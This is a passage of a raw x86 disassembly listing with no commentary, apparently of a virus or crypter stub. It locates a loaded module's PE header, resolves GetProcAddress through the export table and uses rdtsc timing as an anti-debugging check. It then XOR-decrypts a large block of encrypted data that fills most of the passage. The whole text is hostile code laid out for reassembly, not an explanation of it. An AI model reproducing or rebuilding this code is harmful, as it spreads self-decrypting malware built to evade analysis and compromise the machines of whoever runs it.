ebx, [eax+2985h] jmp short loc_62B04A ; --------------------------------------------------------------------------- loc_62B041: ; CODE XREF: sdfs____:0062B037j add ebx, [eax+2984h] mov ebx, [ebx+2] loc_62B04A: ; CODE XREF: sdfs____:0062B03Fj mov ebx, [ebx] loc_62B04C: ; CODE XREF: sdfs____:0062B01Fj push ebp mov ebp, eax sub dword ptr [esp+4], 115FF1h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103990h] mov ecx, 48h rep movsb call sub_62B125 mov ecx, eax call sub_62B125 sub eax, ecx jz short loc_62B0F7 cmp eax, 100h ja short loc_62B0F7 and ebx, 0FFFFF000h loc_62B08B: ; CODE XREF: sdfs____:0062B09Aj cmp dword ptr [ebx+4Eh], 73696854h jz short loc_62B09C loc_62B094: ; CODE XREF: sdfs____:0062B0A9j sub ebx, 100h jnz short loc_62B08B loc_62B09C: ; CODE XREF: sdfs____:0062B092j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_62B094 add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_62B0B6: ; CODE XREF: sdfs____:loc_62B0CAj lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_62B0CA cmp dword ptr [eax+5], 6441636Fh jz short loc_62B0CF loc_62B0CA: ; CODE XREF: sdfs____:0062B0BFj loop loc_62B0B6 pop ecx jmp short loc_62B0F7 ; --------------------------------------------------------------------------- loc_62B0CF: ; CODE XREF: sdfs____:0062B0C8j sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+10113Fh] mov dx, [eax-17h] call sub_62B12A jmp short loc_62B13F ; --------------------------------------------------------------------------- loc_62B0F7: ; CODE XREF: sdfs____:0062B07Cj ; sdfs____:0062B083j ... mov eax, [ebp+103984h] and eax, 10000000h jz short loc_62B123 mov edi, [esp+4] lea esi, [ebp+103988h] lodsd mov ebx, [ebp+1042CCh] stosd movsb mov edi, [ebp+1042D4h] mov esi, [ebp+1042D0h] loc_62B123: ; CODE XREF: sdfs____:0062B102j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_62B125 proc near ; CODE XREF: sdfs____:0062B06Ep ; sdfs____:0062B075p rdtsc retn sub_62B125 endp ; --------------------------------------------------------------------------- db 0E9h, 3Dh ; =============== S U B R O U T I N E ======================================= sub_62B12A proc near ; CODE XREF: sdfs____:0062B0F0p push ebx mov ecx, 2845h mov ebx, edx loc_62B132: ; CODE XREF: sub_62B12A+11j xor [eax], dl sub dl, bl xchg bl, bh inc eax xchg dl, dh loop loc_62B132 pop ebx retn sub_62B12A endp ; --------------------------------------------------------------------------- loc_62B13F: ; CODE XREF: sdfs____:0062B0F5j add [ecx], esi ; --------------------------------------------------------------------------- db 2 dup(0), 17h dd 36E94280h, 1D6D142Ch, 0A1F7E6ABh, 46CE4706h, 0EDA0C05Eh dd 2B29FC61h, 2BE942E7h, 0E2441108h, 0DBD3E8B6h, 0B03C8D0Dh dd 944B2C00h, 3F5816AFh, 6DCE5BE3h, 0EF31C391h, 0BDA9D35Bh dd 981292D8h, 0DAB50E51h, 7DE9B57Fh, 69F27A11h, 0AF789B76h dd 59F106BEh, 0F47B0B9Ah, 179FDD17h, 0E29040F3h, 14937193h dd 439CACDAh, 0E137EDE2h, 0BDD09E5h, 0FE28394h, 0F64A64E1h dd 0A92A8740h, 0C2504572h, 2ADEE93h, 265CB98Ah, 0E2524A9Fh dd 9FCDF8B0h, 18DDA69Bh, 0EBF4C1A5h, 91CF81A7h, 47F02038h dd 0A9F398E4h, 0A2FC9C2Bh, 0EFB00F36h, 4A85E855h, 2D9E0337h dd 0E6998D62h, 898A4CE9h, 3AC880ECh, 0BAA6CEE0h, 2D526996h dd 0A9732AFFh, 0BBBC576Ah, 16BE86FBh, 8B2EA0C6h, 0F9A22104h dd 0AE58109Dh, 45E80896h, 0F1B00499h, 0B1889A1Fh, 0E1DE5D5Ah dd 0CD6BF63Bh, 399AA0BEh, 0E46D5237h, 87908008h, 7CE92543h dd 0F38CD072h, 3112E7CEh, 0DA1538C5h, 7D0E7407h, 495B3112h dd 520A2EE4h, 34B89A11h, 0A0BB47B3h, 63AC57BCh, 6DC9D18Ch dd 41D8FF8Ch, 8519CACCh, 1BD50412h, 776CA768h, 0B363600Dh dd 0AAA60B83h, 0D3EE23ADh, 1187DAFh, 2F90195Fh, 35FE46BFh dd 8B057441h, 87BC3738h, 2795D05Dh, 17147ADCh, 43762C59h dd 71A2328Fh, 9F428861h, 9AA25E2Ah, 9364E51Bh, 29BB12F6h dd 6976D582h, 8FAE6E13h, 4C4C9D89h, 0F1ECFC9Ah, 0F5D1095h dd 6C37261Bh, 16454A3h, 9309DB27h, 528FBAC7h, 0F5E6E099h dd 0A0BFFD52h, 413C6C82h, 0FB8768C5h, 0AD0E947Fh, 0DB94C239h dd 4D4EBC57h, 0C8A06C91h, 75183CF6h, 4519F1E9h, 0F232BA78h dd 5105553Ch, 0AC3E1645h, 3E2CA70Fh, 0FA4A6285h, 0B7EE62B0h dd 5159BE93h, 3DCEE19h, 0FA09F14h, 2F174835h, 56EBF9AAh dd 30F4B409h, 0F9440832h, 1670FF3Dh, 7CAEAB4Ch, 0F6875C59h dd 0A182B409h, 4019C8AAh, 0EDA7C95Eh, 0E1A99F61h, 0BAAA52D9h dd 86418F77h, 8C8A1B7Ch, 6EB7CC69h, 11D2C42Dh, 4EB72166h dd 244BD90Ah, 735494A8h, 0C9DAB3AFh, 0C8285D10h, 0EA6D0E33h dd 8A9A3CC3h, 2F61AD0h, 0EF129B54h, 0B7A93F38h, 869C9EC1h dd 291FC1F2h, 6789E9CDh, 919B7E53h, 3C635294h, 7C89BCA0h dd 1FA845E1h, 0E648366Bh, 0D0B0237Ch, 3CB77645h, 0D7D0FD09h dd 7CF882Fh, 0F14FB76Fh, 0EAA7A88Dh, 0E7D812C1h, 0BD5ED477h dd 0EB8E18AAh, 1900C62Ch, 47F03045h, 243634BBh, 0F3F2E66Bh dd 0EF4C2F40h, 7C50E855h, 0C1E6560Fh, 0D0144423h, 29A1803h dd 0DD60CA91h, 0B7A4A4E3h, 0FF44FC03h, 2BB22A9Dh, 90520975h dd 4B2B79ABh, 9444A4BFh, 0F635675Eh, 27511709h, 5563B313h dd 3A5C7C89h, 0B1E296A4h, 7A9B272Eh, 1DEE1BAAh, 0BEF924A1h dd 69EA4675h, 0C3D06042h, 3A6C8E29h, 0CD524936h, 0E1970A5Fh dd 0A7AC4D8Ah, 7D1E6714h, 0ABA48509h, 9D4F9167h, 60C59288h dd 435F6C23h, 4D92090h, 79157A1Ah, 0BFC8AD55h, 0AF026374h dd 8E2B0401h, 494A0CF5h, 51759F4Ah, 0CF669E9Dh, 2CEED629h dd 114CBC3Ah, 2ED0A135h, 76E946BBh, 0AF08FDA0h, 2C75F593h dd 0E700EED7h, 0B01508E0h, 430C136Fh, 8EF50EDFh, 8F1616F0h dd 0B96E33EBh, 5B7A217h, 0D65460F3h, 3D486409h, 7AEC0403h dd 0A3720A1Ch, 95124F0Fh, 87B06B49h, 0EDE261Eh, 5187C568h dd 0A6DC071Eh, 0F505B0BDh, 0D1D2A2B2h, 500E7FDAh, 9083124Bh dd 7F886662h, 0FB5EC21Bh, 88C49480h, 375467A8h, 0F72520CDh dd 9A293A3Ah, 1CA4589Dh, 0D10D9CEAh, 127D30F5h, 0E26DF984h dd 5BFA1294h, 0F8C48987h, 0A7D1B8C9h, 40A9E993h, 3CCD23Fh dd 0F448F60h, 9F014835h, 8D918950h, 0D1F4CE6Bh, 837AB8B7h dd 1701683Dh, 810D2EC7h, 195C5C23h, 5E5601C3h, 9060EEB7h dd 0CE9EE6EFh, 0D4FEFCA8h, 0CC27BD18h, 8720653Ch, 0E5E7CFA1h dd 0DD165986h, 0D541FAEFh, 0C0C3EBA5h, 6D960E53h, 9B54B67Dh dd 0C9DABC7Ch, 0F760E09Ch, 25E60E23h, 536C3CA9h, 81F243ABh dd 0AF7898B5h, 22AD906Ah, 1BBAC654h, 95538947h, 9CE59049h dd 18D590B1h, 0D385D14Ch, 64DD885Fh, 1FB8366Fh, 0F62B3E2h dd 6D5C64E1h, 0E53A9277h, 0A2ABAF92h, 6C34BEF3h, 56A0757Fh dd 42FE8h, 0CEBD0D79h, 28A1F69Bh, 0EBF4EA13h, 5B3A872Eh dd 1B33303Dh, 10053FF1h, 0C691ED77h, 0BBE0F5DBh, 8C7C8B20h dd 7EFA4097h, 5B602734h, 0FBEE01BBh, 0B74EC531h, 84C3BCA0h dd 7A6A991Dh, 41F34F83h, 0E5D2A36h, 0F4F8E38Fh, 0AA09D1EDh dd 97A39277h, 645051EAh, 21B75B61h, 0EC2E3CFCh, 0C291FF7Ch dd 0AD2BC8E4h, 689A974Eh, 541941E3h, 1AE3743h, 0F3E1E5CFh dd 0A074ED43h, 0A7E9A8A8h, 40777827h, 3DDB38B1h, 186A073Eh dd 0C7CBFBB5h, 0A946A70Fh, 69E3C2DEh, 5D456E12h, 26BC3896h dd 0C5361307h, 0DEADDA6Dh, 8408D6EFh, 7280617Dh, 260E57FAh dd 393194Eh, 0CC32E3C6h, 95ECD944h, 4D178FDDh, 4E8A7A5Ch dd 1A7E3FC9h, 0E2420024h, 0CDCBC7ABh, 8579A239h, 66F38AA6h dd 265B2C18h, 1DCB1CABh, 0E541DB00h, 0A8E9B68Eh, 975DA205h dd 44D34692h, 32074018h, 0E1A92377h, 0FB29F0FCh, 8DB6A46Eh dd 4858B9F0h, 588A527Eh, 22224CCh, 0F8A4E74Bh, 0C731D5C0h dd 0A182BB74h, 730C61DCh, 106A4E5Eh, 0BED2FC5h, 0DE7CF31Dh dd 0DBFAABB8h, 5F6E9710h, 5ED352B8h, 1D63200Ch, 0F6EB7CA8h dd 0AD5DFC1Bh, 0A6DDB580h, 6F516015h, 22B0556Ch, 790B0CE8h dd 0C3B1FF41h, 0A734D7DFh, 42A59E78h, 4103579Fh, 288D2173h dd 0E42810E4h, 0F4F4C15Dh, 0AF14B7C7h, 5A656C54h, 2CF65EA2h dd 734D3B27h, 0CFF7FA80h, 0AC77CA05h, 0FDED95BEh, 484B6631h dd 6AD93182h, 0F559365Fh, 0E5B6EA80h, 865FA30Bh, 23F1898Ch dd 4B304DCBh, 19AB050Bh, 0FE38EDD7h, 0BBAEC656h, 831582F4h dd 25A77D46h, 151859FAh, 0D5970646h, 0AF1DF5DCh, 0B89BAA68h dd 72D7F4B1h, 546F5634h, 2FD3999h, 0FC501107h, 0AAC8C9B5h dd 0A422BF32h, 6FC9658Bh, 3A4B5F3Dh, 12F202BEh, 0FF3AF71Bh dd 0A2B4B294h, 690782E2h, 33AF7365h, 153B38D8h, 0E3B13E70h dd 0C910A6FEh, 9E8EB060h, 6B3A76D4h, 2B994644h, 61339D6h dd 0C697E36Dh, 0A5CCBAD1h, 9E6D9A06h, 44C873BFh, 1514213Dh dd 0ECE831A3h, 0E745D43Ch, 80C5A191h, 5D2C8F1Ah, 24C0699Bh dd 3F5D2C14h, 0F8DDE989h, 0B301C7F2h, 0BABEAC07h, 533175FFh dd 36B36D76h, 0ED3305EDh, 0F296D41Fh, 0AB09ADD7h, 689DA34Eh dd 540674C3h, 1A893754h, 0DAF4CEBDh, 0AC50DE22h, 95C3ABACh dd 55716F1Ch, 4FF657BCh, 0D511215h, 0C2E2FA84h, 972AA70Bh dd 62C0BF99h, 5A444E1Dh, 10CF299Ah, 0F429152Bh, 0CB86A86Bh dd 832BA6C4h, 6FB76142h, 49345DFEh, 5B01453h, 0C603FACCh dd 0A185EA5Dh, 6D139FDBh, 40957D78h, 137E3FC9h, 0EE712535h dd 0D7C3DBB5h, 8A62BF2Bh, 7AFF8AB2h, 28737837h, 3FA234BAh dd 0F65ADF11h, 0A4F8D39Fh, 9A419003h, 44DF5F9Bh, 57393212h dd 0D0AA1A51h, 0DC2FF5E7h, 9581AF6Bh, 683691E7h, 539F494Fh dd 1F373DD2h, 0FE84EB55h, 8623E7ADh, 8797AA60h, 230C79CDh dd 226D565Ch, 1CE71BA0h, 0AD7AF320h, 0B5FAABB2h, 96E9132h dd 5FD445BAh, 7523D0Ch, 0FECD1290h, 0A440AA0Ah, 9CB8AE96h dd 1D5A681Eh, 20A75B72h, 304A16E2h, 0D5B5E463h, 9622DBFDh dd 66AF8375h, 550C7BD7h, 16E82D49h, 0FF0B02C5h, 0FC80C15Fh dd 8639A6D2h, 74656E53h dd 16E24BB7h, 16783D3Dh, 0D5FCC3CFh, 0AA76CA30h, 98EEA9AFh dd 6224550Fh, 2BCF3689h, 0C8441503h, 0E0D8FB83h, 0E37DA00Bh dd 74B694B6h, 4B2D46F7h, 9AF3359h, 0FE38EDD7h, 9F9EF317h dd 0C429B0DCh, 69A22011h, 363E3CE5h, 0EE9E2948h, 0CA33FDC6h dd 0B8ACC642h, 6EF4BBA6h, 406F6929h, 67D12888h, 0C4711B01h dd 0BAEEC9ACh, 844EBB09h, 5ED04D80h, 2A4B646Bh, 2DC001A2h dd 0CC4FFE16h, 0D781B8B8h, 6FB0DDD5h, 0B89A4A0Bh, 3353205Bh dd 0D9C00AEAh, 0FF0E3364h, 2F6FD431h, 493C54F1h, 5F80CF7Bh dd 4BC8CB4Ch, 677F8C29h, 0D940E4AFh, 4416545h, 45DFDEE0h dd 0B3144451h, 8ABE3E5Ah, 0B24AA037h, 8FF59EB2h, 43E0776Ch dd 15E2FE64h, 3D69181Fh, 7B2B79A8h, 4844A4BFh, 6C35EEC3h dd 27402E63h, 96DEFA90h, 0BEA8F914h, 78D19A0Fh, 0B73AC8CFh dd 0DDCF61Bh, 6A25E03Ah, 38AA125Dh, 570398D7h, 0CB6CFA4Bh dd 11192399h, 0A2121A71h, 9DAB1811h, 0E411A6DEh, 0F37E6323h dd 8EE90044h, 0C6580FDEh, 3AC9E18Ch, 63BCE97Dh, 7D2A2A7Fh dd 34C8A877h, 664EBC5Fh, 73946EDDh, 494A3297h, 1DB26277h dd 0D78AE6A3h, 0D386BC29h, 0FE22B9FEh, 3FC6CEA0h, 0A22719BBh dd 9B3A52D4h, 0CD7527C7h, 6F9D5B3Ch, 0F696EEC6h, 4389A155h dd 72A24ACFh, 607BDFB4h, 0F2B3D39h, 7634F44Fh, 2992C878h dd 0A86BA87Dh, 4D91FCh, 0B35CA253h, 0C8F54582h, 15B0F895h dd 0B621D9E4h, 7B5A9224h, 0B7650F27h, 2F70B084h, 0A09213Ah dd 1DB68932h, 91873A2Fh, 0F00548B1h, 0AD0EBF70h, 246A3039h dd 0DB9F79A8h, 0B2A030E3h, 0E82D3AA3h, 93853466h, 3FED426Fh dd 2833270Ah, 0F56BC524h, 4BC43401h, 65A7E3DAh, 94D08016h dd 72D3335Ah, 52DCFC07h, 61334BCBh, 0CA171974h, 8D7E48F9h dd 44D0A0B6h, 0F944F422h, 13C25D3Dh, 456E7BC3h, 2E0C5C49h dd 0BAD9674Eh, 3072B845h, 0E6887356h, 79741471h, 598E622Ah dd 43B37047h, 3071F8FFh, 0E32CD725h, 9405DA32h, 3F5833DBh dd 6DE4562Fh, 813E47CCh, 0C9D35A4Fh, 0B5EDE09Dh, 0EC18A442h dd 3AAFCCDCh, 91CD2ABAh, 0A7FC9DB5h, 48778433h, 0B94CB81h dd 6CC9C0B0h, 67905025h, 78972353h, 0C38CB77Ch, 0CE6647D4h dd 632B08F5h, 422E3E4Fh, 7BB4DD75h, 0A1D61377h, 83C0C0FFh dd 547EAEBh, 4959E309h, 0EA525AB1h, 0AB5CF5E9h, 0BD5EA79Fh dd 3E4BE71h, 196A02A3h, 47A2627Bh, 3E3A1E4h, 90FC9C07h dd 0D5153776h, 0AE08E844h, 7C8C7C9Ah, 5B7C453Bh, 0DBDA72D7h dd 896235A2h, 6030CEF3h, 4377889Fh, 40B642BBh, 906F5875h dd 9F9EA24Fh, 5EBBB481h, 0F9DADD25h, 539095D4h, 5C2DD05h dd 8336B812h, 0E7B5CB4Dh, 0E1D25D5Ah, 88B7F63Bh, 6DA45171h dd 57DCC7C8h, 0C00D80ADh, 0AF51FC07h, 6401848Dh, 21120B4Bh dd 25580B7Eh, 0D6ED3F4Bh, 0FBF4C4B1h, 8B7A9237h, 39FA6512h dd 0F1B71E63h, 63BC4EF1h, 99660E80h, 80DA3DFAh, 121DD69Bh dd 0BEB1684h, 4D986F97h, 7DDEE01Dh, 2E208FD6h, 0C3F938A4h dd 8C6B09AFh, 3FE818A0h, 0BAF45BBh, 4B80A6BEh, 0B8952AC8h dd 631FD04Dh, 1596FFC3h, 362612D9h, 4F221CCFh, 9EAC8765h dd 4DAEB6EAh, 0A41C44Fh, 798493B1h, 22070E34h, 4309E541h dd 98039DCFh, 0E1B89BC1h, 0F00BAEC4h, 2DE12C8Eh, 0AA5F0DA1h dd 99350728h, 42FDB0ADh, 0F5E6C0A8h, 2F140CD3h, 1023A3Fh dd 751D9796h, 900E8674h, 0DB94C4DDh, 9A57758h, 864920DDh dd 0E4264E63h, 0DAFE2CD7h, 64B7A539h, 6CB8D8F5h, 21920EBDh dd 0D2403B0Ch, 454A6287h, 0B23E52Dh, 505984AFh, 3DCEC95h dd 11421732h, 7ED56805h, 0F81A13CCh, 9BC8084Eh, 97FBAEC2h dd 636820C2h, 0C4F75BB7h, 497C5F37h, 0C9E7A5E0h, 0CFE7FF93h dd 0ED24D7D4h, 0DC241446h, 0CC551005h, 87204EC7h, 0E5E65EC0h dd 0EAD49C29h, 55C2FAFFh, 53265FEAh, 6DAA3764h, 0A44E116Eh dd 95FB207h, 3E53D6E9h, 1AA28BAAh, 3B3D3CB9h, 1F2682Fh dd 0FF2EC9E4h, 0E2E053C4h, 9E09F4D1h, 391A39D8h, 3359639Dh dd 0C4442E02h, 91095388h, 7622CA61h, 8A572CE1h, 4D3E084Dh dd 0F634A709h, 0A92A8700h, 0BD0339FCh, 0FA478482h, 37BFE33Ah dd 0A1D75F70h, 54EB2261h, 0B6ED7610h, 66D88422h, 977C112h dd 4B4ABB2Dh, 0FE765EB2h, 0A3FD84B3h, 0FA7AB9BFh, 3483888Eh dd 59EFB038h, 0AEF60354h, 4E195C3Ch, 7BABF352h, 0B57245B4h dd 426C963Dh, 0BE4D40BDh, 7F06BEE0h, 0C7330DFBh, 4844A4BFh dd 36E1EEC3h, 0E057F90Eh, 0BDD65414h, 8013E599h, 0F7ADC9DCh dd 8D299FF1h, 64A3AA6Eh, 481B56D2h, 358E3458h, 0F3EEE9EAh dd 9975D92Ch, 81FEA98Ah, 7766642Ah, 26EB4AB0h, 38420834h dd 0C4C8E499h, 0D958A715h, 60C291B9h, 5A7E6A16h, 61BC388Ah dd 0C4127A7Fh, 0CF182777h, 8436B9F9h, 69BD2A7Ch, 253B55F4h dd 5999187Ch, 0EB66E2D3h, 0F3A7FF60h, 690183C7h, 46807F4Ch dd 182D13B1h, 0C17C5413h, 99C4EB88h, 9579A66Bh, 409C8BA7h dd 431C2CB1h, 9C2307DFh, 9F3896C8h, 0D8D9332Dh, 434E461h dd 39846C62h, 48A8817Dh, 9BAC5277h, 8D7A2902h, 4D8BCA1Fh dd 252DD6A9h, 0C2E0A77Dh, 0E64721BCh, 89D5B89Ah, 0C5063BADh dd 50907B64h, 1BCC8934h, 0D48D3A2Fh, 7F985013h, 57481FB1h dd 206A8A5Dh, 0C6F8F3E6h, 16487036h, 0E6D9B198h, 97A45895h dd 0C9DAEE1Ah, 0BCB8D8F5h, 5910453Dh, 0B4C4784Dh, 6974E812h dd 0D3109B0Dh, 0D73C2D9Eh, 3149134Ah, 0CE620AA1h, 0C800DBF5h dd 65918955h, 0BBF4A43Ah, 0B63994E4h, 532E5372h, 0BA86628Fh dd 6332D6DCh, 5FEE62CFh, 0CFF047AAh, 261192Dh, 3B36C8ECh dd 0D46371E7h, 977298E8h, 0E4E7CFF3h, 0B26D9C28h, 975705AEh dd 0D74838BBh, 6DCE5600h, 0C911D7C4h, 8DF48024h, 860ACD1h dd 35D884B6h, 5366D4A9h, 0F2856A2Fh, 0C111EAC5h, 0DDBFA04Fh dd 39110B91h, 0B00A3279h, 77AE6A48h, 18277153h, 0D385D154h dd 0B1A7535Fh, 4EA818DAh, 73A4A394h, 132764E1h, 0A93A9273h dd 0CE4A7570h, 881FEE93h, 23F33AB4h, 9490A28Fh, 48BE87EAh dd 0AD40CB1Eh, 68B4D421h, 9746D02h, 0D27D302Dh, 7566409Eh dd 0A296D869h, 0B9D0BAD5h, 7F08E847h, 12A48334h, 9B914441h dd 4B8078Dh, 0A73EC0D0h, 0E3CC9CE3h, 0D4149E4h, 17E62AFFh dd 3D690825h, 0A2901304h, 341CB491h, 0E9F5C492h, 60D5D68Dh dd 55D62E52h, 835C6071h, 0FEB1CD1Fh, 0ED5B83E6h, 41A2B205h dd 0B1E1DBB1h, 0FAFA4209h, 978087D5h, 24B32343h, 0AA8CCCD1h dd 1FE4B7C2h, 727038C5h, 95E199AEh, 0ABA494EDh, 90648B30h dd 29E4B5A3h, 357A5237h, 5D36D906h, 51C77A6Fh, 0BDFD2C0Ah dd 85DDD68Bh, 1BD40414h, 5045871Ah, 0FAB9600Dh, 0B5599C1Eh dd 26EA5429h, 0BCF11550h, 2FE82723h, 4DFA49BBh, 0A047443h dd 0B98B322Bh, 0E678844Dh, 0EA96FED2h, 5322DACCh, 0E166DBDFh dd 0CF288864h, 0CDC46260h, 0EDA11B23h, 0ACBA02C8h, 5A3519BDh dd 85D5E66Bh, 19D96389h, 0AD2DA31h, 60E57B77h, 3DDE3605h dd 0EEE97DD4h, 99FA9C54h, 0C5E54FFDh, 70F6CE0Ch, 0AAF80379h dd 0DA023A3Eh, 7F036485h, 2881A6B4h, 0DB84DABEh, 485D7791h dd 5DA120CDh, 0F272463h, 9D3983EBh, 4232BA50h, 6BB7270Dh dd 1D3E071Bh, 2051B992h, 134A7299h, 5883C21Dh, 0C5684006h dd 0C1C6919h, 31635A1Ah, 0D355C525h, 3C6E66B5h, 41C84C39h dd 7D122D48h, 4900003Dh dd 710FC8E8h, 0E6F3086Dh, 0A182B44Dh, 0D18205D8h, 0FC2FE6CBh dd 0D4DE0989h, 0DE3FCF18h, 0ED306073h, 0B5A2F6F3h, 0B06ECC79h dd 2EC86F00h, 7BC52895h, 0F843422Fh, 9B44C679h, 0C36CBD47h dd 0E344A416h, 27EEEEE2h, 197E3DE3h, 82B8782Dh, 0A75CDCBEh dd 1CF127BBh, 0D5FC21h, 0C61A0603h, 0DA1D00FFh, 9506411Bh dd 0C39CB031h, 0C70CFF5Fh, 3F86289Dh, 68141645h, 439A41D4h dd 8942B70Fh, 9DCAB3D8h, 2508A7CCh, 0A6334B09h, 614274B5h dd 8F74BC94h, 0BD34A69Bh, 14B78371h, 9550832h, 0D77DBB2Dh dd 1F764EA6h, 0C8E76F39h, 39D3B776h, 0FF08E840h, 27EA33EDh dd 0CEEB1351h, 898A4CEDh, 0E72C64DEh, 0E2CEC508h, 9E2CFC69h dd 51AC8A52h, 906B0F75h, 8D818C6Eh, 0B5843181h, 0B17F6F53h dd 0A45000B2h, 45C3AEB6h, 0ED16C99h, 0B1F2DB58h, 0DF02068Eh dd 0F2BDA07Ah, 2B4B2224h, 6902D137h, 1C11AFC3h, 8DB323BDh dd 438CCCF6h, 54BCF842h, 657058C5h, 1CE199A1h, 0A2478393h dd 322BB5EAh, 2C7F7B07h, 7D8B93BDh, 90BC5CC6h, 7AB5FDDBh dd 2A37FBBCh, 0ED5EE871h, 0EA3B991h, 3D5B3287h, 2D00837h dd 30998EA3h, 0D3FC8283h, 4035572Fh, 5BF81825h, 32FB81AAh dd 8B04645Fh, 7F8AA2C7h, 0F75197C8h, 1D7FFED3h, 84E3D3A7h dd 61B7DA5Ah, 9F288865h, 0C96CEB6Bh, 0B43EE971h, 46D57CD7h dd 312F6013h, 0E3AF0223h, 0FC6CBDECh, 8CBBBE2Fh, 602CD8F0h dd 51BB453Bh, 0A1636C4h, 94CBE753h, 0E75090A7h, 0D5B9FE13h dd 4E1179CAh, 3622485Ah, 1AEC1AA4h, 0A703B725h, 0BEF8A183h dd 6C768639h, 4ECC53AEh, 15472643h, 0F28C0599h, 0A412CE01h dd 8CDDA88Dh, 6950670Fh, 3FB7142Dh, 102E0CE6h, 87EAF763h dd 825CB3BEh, 6BBF9878h, 110574F6h, 7F842444h, 0AD1717CFh dd 9B90CA50h, 811DBBD9h, 71202C49h, 23A65CACh, 1D69353Bh dd 0E8B2F9ABh, 0A679CF75h, 0F793DCAFh, 59417C36h, 2BCB6282h dd 0E8495008h, 0D396B286h, 8D59A50Bh, 31FD899Bh, 5A2547C6h dd 1987762Ah, 0BB27EDB1h, 0ACB7DB63h, 8329C0BCh, 49C67D04h dd 720948C8h, 0BB593378h, 0BFDE8C9Ch, 0ED39423Fh, 0C9E8389Dh dd 3409D512h, 629B2A79h, 1644CCBBh, 0ABC9A96Ch, 0E184CE4Ch dd 6DA333C0h, 6A9FCC8Eh, 421B53Bh, 61A55E77h, 0C2CE1A72h dd 0DDFE5DD1h, 33CC1C09h, 61524A8Fh, 8FD87815h, 0BD5EA69Bh dd 0EBE4D421h, 196A02A7h, 47F0302Dh, 75765EB3h, 0A3FC8C39h dd 0D182BABFh, 0FF08E845h, 2D8E16CBh, 5B144451h, 899A72D7h dd 0B720A05Dh, 0E5A6CEE3h, 132CFC69h, 0F917A98Fh, 6F384837h dd 0DF022378h, 0C444B491h, 74DEA1B0h, 905F08DEh, 85D53858h dd 0A7782812h, 0C3EED834h, 0D72AF3BCh, 4F65E258h, 37360FA5h dd 2B42C7BEh, 120980ADh, 0C516ECFFh, 310FD922h, 40CBE867h dd 0C7983C17h, 6D3A39DEh, 0ABC07CE1h, 0F942C267h, 8AB0F0EDh dd 251592F6h, 7B8515F9h, 51C1760Bh, 403F4A01h, 0FD0C420Eh dd 0C223C711h, 6D05BF94h, 6703600Dh, 2A9AFE5Ch, 0D7043F29h dd 9CFB1C4Dh, 2FE83BB9h, 297E7C38h, 88365F44h, 0F707B2B5h dd 0B94B88B1h, 6196C450h, 0A82ED35Dh, 61D0A5DCh, 60D7DF8Dh dd 0E6609D14h, 0EB7658FCh, 62B94AF7h, 0D2CF8349h, 85D62C9Bh dd 0F1D8194Eh, 0E1D2CA1Fh, 33B0F895h, 0B6DE261Bh, 7B26C024h dd 6F436A27h, 0DF984F52h, 76F6DE33h, 333E9804h, 59773A3Fh dd 5B80F54Ch, 31E5965Bh, 9900492Eh, 86D9F247h, 27E2B858h dd 0F1B3C763h, 7BAC6CABh, 0C132AA6Ch, 647B11C6h, 1D3E86E8h dd 0A62C6601h, 7AB59D79h, 0B7922C98h, 5680BD93h, 0CDCE063h dd 31631D1Bh, 4F92CB25h, 70EA79ABh, 30F4A431h, 12ADEF5h dd 0E8FFFEF5h, 73AABC0h, 0B50F5C59h, 219A009Fh, 0D66CB8ACh dd 89B01F5Bh, 0DACF5462h, 0D8AB0A6Ch, 58EFAF8Ch, 0F14F1F2Ch dd 963C8035h, 0D9E9A313h, 30B2D106h, 6DCEE184h, 0E3D5E291h dd 0C6E881E9h, 0F7604B18h, 1F655823h, 0D86949A9h, 83197A65h dd 5E7B923Eh, 238C2E6Ah, 0BE870B3Eh, 391A60FBh, 1F50D560h dd 119271A8h, 3C9CACD9h, 0E16066EAh, 4A4058E5h, 4ED1C995h dd 6BF6D874h, 15BF1D77h, 0D4C0D0BFh, 8615CA87h, 0E8FF1EC9h dd 825AFC80h, 0AF11F807h, 997A67C8h, 0CFF8FD25h, 424E0E8Eh dd 0C619DB6Dh, 0CEA15148h, 22C2F8E4h, 0BFC71244h, 7E3E9C9Eh dd 8CB54F30h, 0DA3A30AEh, 3CB8A42Ch, 3606D4F1h, 0BD4F5D18h dd 9232889Ah, 195B5714h, 0EE2E2C86h, 0B881C000h, 4A4AC060h dd 0DCF5D2FCh, 0D856646Ch, 4594A686h, 0F2B53799h, 0EF1D65E0h dd 367C0A26h, 0F21108C4h, 3F1E2672h, 9CB3BA6Fh, 2087F42h dd 0C516887Ah, 0EBBD64AFh, 0C5D2E84Dh, 297A3AD6h, 25180CF0h dd 5451BA09h, 0D1E84198h, 2DA216Ah, 0C017F62Bh, 993CB306h dd 2149097Ch, 864DAA55h, 474EC6ADh, 73BE23FAh, 0B3DA98CFh dd 0C7F8151Eh, 506766B2h, 0D25443D6h, 8572EAAFh, 0FEF56CE7h dd 0B6B4B85Bh, 33019FB7h, 398AA2C7h, 24AF32E6h, 2C066B5Eh dd 94372C49h, 86618028h, 8F110CE0h, 0CDAEB6EBh, 3BA1EB79h dd 0DFB1F236h, 4779C2F8h, 83B36F03h, 96C591EFh, 6424D9E4h dd 0F48C117h, 5BD85319h, 804165ACh, 98E7E423h, 2FDBD688h dd 0A09218Fh, 0AA484F32h, 414096AAh, 884BC3C5h, 0BD3712CEh dd 0DB94C4D1h, 0C98FFD5Fh, 0DF0A9CD9h, 9AD9B1FFh, 0D11CE960h dd 44C4AA7Fh, 0EFA8E177h, 123A737Ah, 60C6DF30h, 8E89C947h dd 0B7E91488h, 0D556BE93h, 89FB9811h, 215B641Ah, 54088925h dd 0C8E57BCDh, 43440F57h, 97FF581Dh, 0D6001004h, 22833523h dd 0D80AD52Dh, 0AF44AFCh, 0ABA0AABEh, 569EE354h, 125A91EBh dd 1AE42F7h, 2C2890ACh, 21335830h, 0EA3CDC5Eh, 0ED72DF14h dd 872E086Eh, 0C6A856E0h, 9F3E9D7Ah, 3DD35A4Fh, 0F3ED1F62h dd 2D06CFF1h, 93E539CFh, 8219C149h, 0C5D20805h, 2D169E2Eh dd 8B7B0B32h, 